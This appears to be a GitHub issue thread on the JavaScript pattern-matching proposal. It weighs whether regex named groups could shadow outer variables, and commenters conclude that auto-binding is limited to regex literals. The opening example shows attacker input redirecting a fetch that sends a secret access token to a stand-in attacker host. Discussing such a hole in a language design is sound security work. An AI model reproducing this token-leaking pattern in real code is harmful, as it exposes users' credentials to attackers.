Proposal-pattern-matching: Security implications of autobinding regex match groups

[j-f1]

Example:

const API_URL = "[...]";
const regex = new RegExp(readFromUserInput());
assert(regex.toString() === /^(?<API_URL>.*)$/.toString());
const input = readFromUserInput();
assert(input === "https://attacker.example");
match (input) {
  when ^regex { fetch(API_URL, { headers: { 'Access-Token': secret_key } }); }
}

Here, the definition of API_URL is shadowed by the group defined in the RegExp. Solutions include:

• don’t allow match groups to shadow names in higher scopes (downside: blocks groups like name in browsers)
• autobind regex.match(...).groups to a new variable, perhaps match or groups (downside: extra typing, less clear where the new variable comes from)
• only autobind literal regular expressions (downside: extracting frequently used regexes to a constants file has unexpected side effect of removing variables from scope)
• require you to explicitly bind (when ^regex as { name, age, ... }) any groups (downside: having to write group name twice, especially if you’re immediately producing an object with same-named keys)

[devsnek]

I think currently you'd need to explicitly do when ^regex as { API_URL } to make this shadow.

[tabatkins]

It is only intended that regex literals auto-bind their named capture groups. The general principle that bindings must be visible in source is preserved.

Non-literal regexes will presumably just return their match object, so you'd have to use with {groups: {API_URL}} for that example

[ljharb]

Exactly as @tabatkins stated; the autobinding would only ever work for the regex literal _pattern_ form, where the capture group names are statically present in the code.

You'd indeed need as { groups: { API_URL } } for any regex expression.